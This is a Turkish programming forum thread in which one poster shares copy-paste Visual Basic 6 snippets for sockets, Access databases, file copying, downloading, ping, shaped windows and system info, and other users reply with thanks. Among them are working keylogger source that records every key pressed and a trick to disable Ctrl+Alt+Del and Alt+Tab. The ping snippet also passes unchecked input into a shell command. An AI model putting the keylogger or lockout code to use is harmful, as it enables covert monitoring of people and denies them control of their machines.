kaancerit

Bazı kodları direk copy paste yaparak calıstırabilirsiniz, bazilarinda componentler bulundugundan once onları olusturup kodların basında belirttigim isimleri verdikten sonra uygulamayı yapistirin, kodlar tamamen suan aktif calisan programlara aittir takıldıgınız yerde elimden geldigince yardımcı olmaya calısırım,hadi kolay gelsin

Temel Server-Client Uygulaması (Winsock Kullanımı)
'Winsock componentinin kullanımı oldukca basittir
'Bir server ve client baglantıda onemli olan 2 sey vardır
'Bunlardan birinci IP ikincisi Port Numarasıdır.
'Not: server in local portu ile clientin remote port
'degerleri aynı olmalıdır
'Bir serverin temel amacı baglantıyı dinlemek
've eger bir baglantı olursa bunu kabul etmektir
'Server icin

Baglantı Butonu altına:
'Winsock.Localport=123
Winsock1.listen

Winsock1 in connectionrequest olayı altına:
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID

'Bu kadar: client baglanmaya calısırsa server cevap veriyor ve
'baglantı saglanıyor.
'Simdi Client Ugulamasını yazalım bu daha kolay:

Baglan butonu altına:
winsock1.remoteport=123
winsock1.connect

'Baglantinin durumunu winsock1.state ile izleyebilirsiniz
'state degeri 0 ise hic bir islem yapılmıyor
'state degeri 2 ise dinliyor.
'state degeri 6 ise baglanıyor
'state degeri 7 ise baglandı
'state degeri 8 ve 9 hata olustu

'Baglantıyı yaptınız simdi veri transferinde bu en kolay islemdir.

'Server veri alan taraf varsayarsak
'Kodu server in winsock unun dataarrival olayı altına yazıyoruz
dim data as string
winsock1.getdata data
msgbox data

'Client Veri gonderen taraf
'Kodu istediginiz yere yazabilirsiniz (Orn: Mesaj Gonder Butonu)
dim data as string
data="Selam Visual Basic Severler"
winsock1.sendata data

'NOT: Bu arada veri transferinin yapılabilmesi için her iki winsock
'ogesinin state degerleri 7 yani "baglandı" konumunda olmalıdır.

Temel Veritabanı Uygulaması (MSAccess için)
Kodu yazmadan sunu soyleyeyim bu kod blogu ile componentsiz baglanti sagarsiniz yani kontrol sizdedir hangi asamada ne yapiyor takibi kolaydir cok buyuk databaselerde kullanisli degildir ama baslangıc olarak veya cok buyuk olmayan datalarda kullanabilirsiniz,
------------------------------------------------------------------------
'Bu temel uygulamayla veritabanı karmasasindan kolaylıkla
'kurtuluyoruz.
'Once tanımlamalar
'------------------------------
'General Kısmına:
Dim db As Database
Dim rst1 As Recordset
'------------------------------
'Form_Load: kısmına bu kodu yazıyoruz:
Set db = OpenDatabase("c:\belgelerim\data.mdb")
With db
Set rst1 = .OpenRecordset("MUSTERI")
End With
'-----------------------------
'Not bu basamaktan sonra basında ! isareti bulunan degerler veri tabanınizdaki tablo alti field lerini belirtiyor
'Kaydet islemi
with rst1
.addnew
!ad="Deneme Ad"
!soyad="Deneme Soyad"
!telefon="123456789"
.update
end with
'---------------------------
'Gordugunuz gibi text kutuları baglama ve data obj olmadıgı için
'kontrol kodu yazan kisidedir. Boylece Veri Tabanını yönetmek daha
'kolaydır.
'Okuma islemi
with rst1
.movefirst
bas:
degisken1=!ad
degisken2=!soyad
degisken3=!telefon
.movenext
If Not rst1.EOF Then GoTo bas
end with
'-----------------
'Silinecek kodu bulana kadar okuma isleminin aynısı tekrarlanır
'Silinecek kayıt aktif iken
.delete
'ile silme islemi yapılır
'----------------
'Degistirme islemi aynı yeni giriste oldugu gibi degistirilecek
'kayıt aktif iken
.addnew
'yerine
.edit
'yazarız.
'---------------
'NOT : butun bu islemleri tamamladıktan sonra bunu veri tabanınıza
.update
'ile yansıtabilirsiniz.

Kopyalama komutları kullanmadan dosya kopyalama
Componentler
command1->cmdbrowse
comamnd2->cmdcopy
text1->txtsrc
text2->txtdest
progressbar1
commondialog

CmdBrowse_Click:
CmnDlg.Filter = "All files|*.*"
CmnDlg.ShowOpen
TxtSrc.Text = CmnDlg.FileName

CmdCopy_Click:
On Error GoTo CopyErr

Dim SrcFile As String
Dim DestFile As String
Dim SrcFileLen As Long
Dim nSF, nDF As Integer
Dim Chunk As String
Dim BytesToGet As Integer
Dim BytesCopied As Long

CmdCopy.Enabled = False

SrcFile = TxtSrc
DestFile = TxtDest

SrcFileLen = FileLen(SrcFile)
'Progress bar settings
ProgressBar1.Min = 0
ProgressBar1.Max = SrcFileLen

nSF = 1
nDF = 2
Open SrcFile For Binary As nSF
Open DestFile For Binary As nDF

'How many bytes to get each time
BytesToGet = 4096 '4kb
BytesCopied = 0
ProgressBar1.Value = 0
LblPercent.Caption = "0"
Do While BytesCopied < SrcFileLen
If BytesToGet < (SrcFileLen - BytesCopied) Then
Chunk = Space(BytesToGet)
Get #nSF, , Chunk
Else
Chunk = Space(SrcFileLen - BytesCopied)
Get #nSF, , Chunk
End If
BytesCopied = BytesCopied + Len(Chunk)

ProgressBar1.Value = BytesCopied
LblPercent.Caption = Int(BytesCopied / SrcFileLen * 100)
LblPercent.Refresh

Put #nDF, , Chunk
Loop

ProgressBar1.Value = 0
'ProgressBar1.Visible = False

GoTo Ex
CopyErr:
MsgBox Err.Description, vbCritical, "Error"
Ex:
Close #nSF
Close #nDF
CmdCopy.Enabled = True


Download Programı- Componentsiz
text1 - > txtfrom
text2 -> txtto
command1->cmddownload

Class Module:
Option Explicit

Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long

Private Declare Function InternetOpen Lib "wininet" Alias _
"InternetOpenA" (ByVal sAgent As String, _
ByVal lAccessType As Long, _
ByVal sProxyName As String, _
ByVal sProxyBypass As String, _
ByVal lFlags As Long) As Long


Private Declare Function InternetCloseHandle Lib "wininet" _
(ByVal hInet As Long) As Integer


Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Const INTERNET_FLAG_EXISTING_CONNECT = &H20000000
Const INTERNET_OPEN_TYPE_DIRECT = 1
Const INTERNET_OPEN_TYPE_PROXY = 3
Const INTERNET_FLAG_RELOAD = &H80000000



Public Function Get_File(sURLFileName As String, _
sSaveFileName As String) As Boolean
Dim lRet As Long
On Error GoTo err_Fix

lRet = InternetOpen("", INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
lRet = URLDownloadToFile(0, sURLFileName, sSaveFileName, 0, 0)
Get_File = True
Exit Function
err_Fix:
Debug.Print Err.LastDllError, lRet
Err.Clear
Get_File = False
End Function

cmddownload_Click:
Private Sub cmdDownload_Click()
Dim obj As clsDownload
Set obj = New clsDownload
Dim bRet As Boolean

Screen.MousePointer = vbHourglass
bRet = obj.Get_File(Trim(Me.txtFrom.Text), Trim(Me.txtTo.Text))
If bRet = False Then Me.txtTo.Text = "Error downloading!"
Screen.MousePointer = vbDefault
Set obj = Nothing
MsgBox "Done", vbInformation
End Sub

Private Sub cmdExit_Click()
Unload Me
End Sub

Keylogger - (Klavyeden basılan tusları kaydeden kodlar)
Componentler:
text1

Module:
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
'Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
Form1.Text1.Text = Form1.Text1.Text & Ret
End If
End Sub

Form_Load:
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
Form_Unload:
KillTimer Me.hwnd, 0


Ping Atma ve Veri Alma
Componentler
form1->frmmain
text1->txtnumber
text2->txtIP
ext3->txtoutpu
General:
Option Explicit

Const SYNCHRONIZE = &H100000
Const INFINITE = &HFFFF
Const WAIT_OBJECT_0 = 0
Const WAIT_TIMEOUT = &H102

Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Form_Load:
Dim ShellX As String
Dim lPid As Long
Dim lHnd As Long
Dim lRet As Long
Dim VarX As String

frmMain.MousePointer = 11
If txtIP.Text <> "" Then
DoEvents
ShellX = Shell("command.com /c ping -n " & txtNumber.Text & " " & txtIP.Text & " > C:\log.txt", vbHide)

lPid = ShellX
If lPid <> 0 Then
lHnd = OpenProcess(SYNCHRONIZE, 0, lPid)
If lHnd <> 0 Then
lRet = WaitForSingleObject(lHnd, INFINITE)
CloseHandle (lHnd)
End If
Beep
frmMain.MousePointer = 0
Open "C:\log.txt" For Input As #1
txtOutPut.Text = Input(LOF(1), 1)
Close #1
End If
Else
frmMain.MousePointer = 0
VarX = MsgBox("You have not entered an ip address or the number of times you want to ping.", vbCritical, "Error has occured")
End If

Transparan ve Degisik Sekilli Formlar
Option Explicit

Private Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function CreateRoundRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long) As Long
Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long

Private Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long

'// Used to let the user move the form
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Const RGN_OR = 2 '// add the region to the existing area
Private Const RGN_XOR = 3 '// remove the region from the existing area (ie
'// make a hole!
Private Const WM_NCLBUTTONDOWN = &HA1

Private Sub cmdOK_Click()
Unload Me
End Sub

Private Sub Form_Load()
pCreateSkin
cboCombo.ListIndex = 0
Show
End Sub


'// allow the user to move the form
Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
ReleaseCapture
SendMessage hWnd, WM_NCLBUTTONDOWN, 2, 0&
End Sub
Private Sub lblLabel_MouseDown(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)
Call Form_MouseDown(-1, -1, -1, -1)
End Sub
'// When the mouse button is pressed over the minimize button it changes to a "pressed" image.
Private Sub Min_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button <> vbLeftButton Then Exit Sub
TempHolder.Picture = Min.Picture '// Remember the original picture
Min.Picture = MinHolder.Picture '// Display the pressed picture, held in MinHolder imagebox
End Sub
'// When the mouse button is released, put the button back up, and perform the action.
Private Sub Min_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button <> vbLeftButton Then Exit Sub
Min.Picture = TempHolder.Picture '// Put the picture back the way it was (remembered)
End Sub
Private Sub Min_Click()
If Min.Picture = TempHolder.Picture Then WindowState = 1 'Minimize the form
End Sub
'// Same here for the close button. See Min_MouseDown proc. for details
Private Sub CloseB_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button <> vbLeftButton Then Exit Sub
TempHolder.Picture = CloseB.Picture
CloseB.Picture = CloseHolder.Picture
End Sub
Private Sub CloseB_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button <> vbLeftButton Then Exit Sub
CloseB.Picture = TempHolder.Picture
End Sub
Private Sub CloseB_Click()
If CloseB.Picture = TempHolder.Picture Then Unload Me 'Exit the form when close is clicked
End Sub

Private Sub pCreateSkin()
Dim lRgnTmp As Long
Dim lSkinRgn As Long
Dim lWidth As Long
Dim lHeight As Long

Left = (Screen.Width / 2) - (ScaleWidth / 2)
Top = (Screen.Height / 2) - (ScaleHeight / 2)
lWidth = (ScaleWidth) / Screen.TwipsPerPixelX
lHeight = (ScaleHeight) / Screen.TwipsPerPixelY

'// CreateRoundRectRgn creates a rectangle
'// with rounded edges
'// X1 and Y1 specify the top left hand corner
'// X2 and Y2 specify the bottom right hand corner
'// X3 and Y3 specify how big the rounded edges are
lSkinRgn = CreateRectRgn(lWidth - 32, 0, lWidth, 14)
'lSkinRgn = CreateRoundRectRgn(lWidth - 50, 0, lWidth, 25, 100, 100)

'// CreateRoundRectRgn creates a rectangle
'// with rounded edges
lRgnTmp = CreateRoundRectRgn(0, 0, 110, 100, 10, 10)
'// combine with existing region
CombineRgn lSkinRgn, lSkinRgn, lRgnTmp, RGN_OR
'// create a circle
'// X1 and Y1 specify the top left hand corner
'// X2 and Y2 specify the bottom right hand corner
lRgnTmp = CreateEllipticRgn(180, 100, 300, 400)
'// combine with existing region
CombineRgn lSkinRgn, lSkinRgn, lRgnTmp, RGN_OR

'// tidy up
Call DeleteObject(lRgnTmp)
'// set the window region, using the skin we have created
Call SetWindowRgn(hWnd, lSkinRgn, True)
End Sub


Login olmuş kullanıcı adının Getirilmesi
Private Declare Function GetUserName Lib "advapi32.dll" _
Alias "GetUserNameA" (ByVal lpBuffer As String, _
nSize As Long) As Long

Public Function UserName() As String
Dim llReturn As Long
Dim lsUserName As String
Dim lsBuffer As String

lsUserName = ""
lsBuffer = Space$(255)
llReturn = GetUserName(lsBuffer, 255)

If llReturn Then
lsUserName = Left$(lsBuffer, InStr(lsBuffer, Chr(0)) - 1)
End If

UserName = lsUserName
End Function

Bilgisayarın adının getirilmesi
Private Declare Function GetComputerName Lib "kernel32" _
Alias "GetComputerNameA" (ByVal lpBuffer As String, _
nSize As Long) As Long

Public Function ComputerName() As String
Dim lsBuffer As String
Dim llReturn As Long
Dim lsName As String

lsName = ""
lsBuffer = Space$(255)
llReturn = GetComputerName(lsBuffer, 255)

If llReturn Then
lsName = Left$(lsBuffer, InStr(lsBuffer, Chr(0)) - 1)
End If

ComputerName = lsName
End Function

Alt+Ctrl+Del ve Alt+Tab Turlarini Etkisizleştirme (Sadece 9x ve ME)
Private Const SPI_SCREENSAVERRUNNING = 97&
Private Declare Function SystemParametersInfo Lib "User32" _
Alias "SystemParametersInfoA" _
(ByVal uAction As Long, _
ByVal uParam As Long, _
lpvParam As Any, _
ByVal fuWinIni As Long) As Long

Private Sub Command1_Click()
Dim lngRetVal As Long
Dim blnPrevValue As Boolean
lngRetVal = SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, _
blnPrevValue, 0&)
End Sub

itoprak

teşekkürler dostum. çok faydalı bi doküman. eğer elinde konu anlatımları da mevcutsa bizimle paylaşırsan seviniriz. çalışmalarında başarılar dilerim.

Alex_63

Eline koluna klavyene saglık kardeşim

jonhaparker

saol yeni başlayan arkadaşllar için gerçekten yararlı..

parmakların dert görmesin...

nailgg

yeni başlıyanlara niye yararlı olsunki orta düzey programcılar için işe yaricak kodlar bunlar. sağol kaancerit